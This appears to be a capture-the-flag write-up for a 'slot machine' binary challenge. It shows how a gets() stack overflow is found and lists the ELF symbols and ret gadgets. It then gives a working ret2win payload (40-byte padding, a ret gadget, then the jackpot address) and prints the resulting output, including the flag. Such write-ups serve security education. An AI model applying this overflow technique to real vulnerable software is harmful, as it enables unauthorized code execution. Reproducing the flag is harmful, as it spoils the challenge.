Challenge Description:
Yay Dal just installed a slot machine for all students! Maybe I can pay my tuition if I hit big!
i started by inspecting the provided binary source and dockerfile
i found gets cmd into a 32 byte stack buffer and jackpot directly printed the flag
ELF
{
"magic": "7f454c46",
"cls": 2,
"data": 1,
"type": 2,
"typeName": "EXEC",
"machine": 62,
"entry": "0x401120",
"shnum": 30
}
Symbols
{
"name": "jackpot",
"value": "0x401206",
"size": 147,
"info": 18,
"shndx": 14
}
the elf was non pie so addresses were stable and jackpot was at 0x401206
the overflow should be 40 bytes to saved rip
Rets
{
"rets": [
"0x401154",
"0x401180",
"0x4011c0",
"0x4011ee",
"0x4011f0",
"0x401298",
"0x4012ea",
"0x401543",
"0x4015ee",
"0x40170f",
"0x4017ab"
],
"retCount": 11,
"hasStackChk": false,
"gnuStack": null
}
the exploit shape was a times 40 then a one instruction ret at 0x401154 then jackpot at 0x401206
payload used
Python
b"A" * 40 + p64(0x401154) + p64(0x401206) + b"
exit
"
send exploit
Output
Welcome to Slot Machine
You start with 1 coin. Good luck!
Type 'help' for commands.
Coins: 1
> Unknown command: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT@'
Type 'help' to see available commands.
Coins: 1
>
send exploit then exit
Flag Output
Welcome to Slot Machine
You start with 1 coin. Good luck!
Type 'help' for commands.
Coins: 1
> Unknown command: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT@'
Type 'help' to see available commands.
Coins: 1
> Thanks for playing. Goodbye!
JACKPOT! How could that happen?
Flag: dalctf{u_0n3_0f_th053_0ld_dud3s_add1ct3d_t0_sl0t_m4ch1n35}
Flag
dalctf{u_0n3_0f_th053_0ld_dud3s_add1ct3d_t0_sl0t_m4ch1n35}